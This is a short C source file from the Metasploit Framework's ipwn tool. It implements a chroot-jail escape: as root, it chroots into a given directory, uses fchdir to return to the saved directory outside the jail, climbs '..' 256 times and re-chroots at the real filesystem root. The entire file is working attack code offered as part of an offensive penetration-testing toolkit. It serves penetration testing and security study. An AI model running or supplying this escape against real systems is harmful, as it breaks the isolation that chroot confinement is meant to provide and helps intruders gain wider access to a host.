metasploit-framework/external/source/ipwn/cmd_expl.c

66 lines
898 B
C

/*
* Copyright (c) 2004-2005 vlad902 <vlad902 [at] gmail.com>
* This file is part of the Metasploit Framework.
* $Revision$
*/
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "cmd.h"
void cmd_fchdir_breakchroot(int argc, char * argv[])
{
int loop;
int dir_fd;
struct stat sstat;
if(getuid())
{
printf("Not root...\n");
return;
}
if(stat(argv[1], &sstat) < 0)
{
perror("stat");
return;
}
if(!S_ISDIR(sstat.st_mode))
{
printf("%s is not a directory.\n", argv[1]);
return;
}
if((dir_fd = open(".", O_RDONLY)) == -1)
{
perror("open");
return;
}
if(chroot(argv[1]) == -1)
{
perror("chroot");
return;
}
if(fchdir(dir_fd) == -1)
{
perror("fchdir");
return;
}
close(dir_fd);
for(loop = 0; loop < 256; loop++)
chdir("..");
chroot(".");
}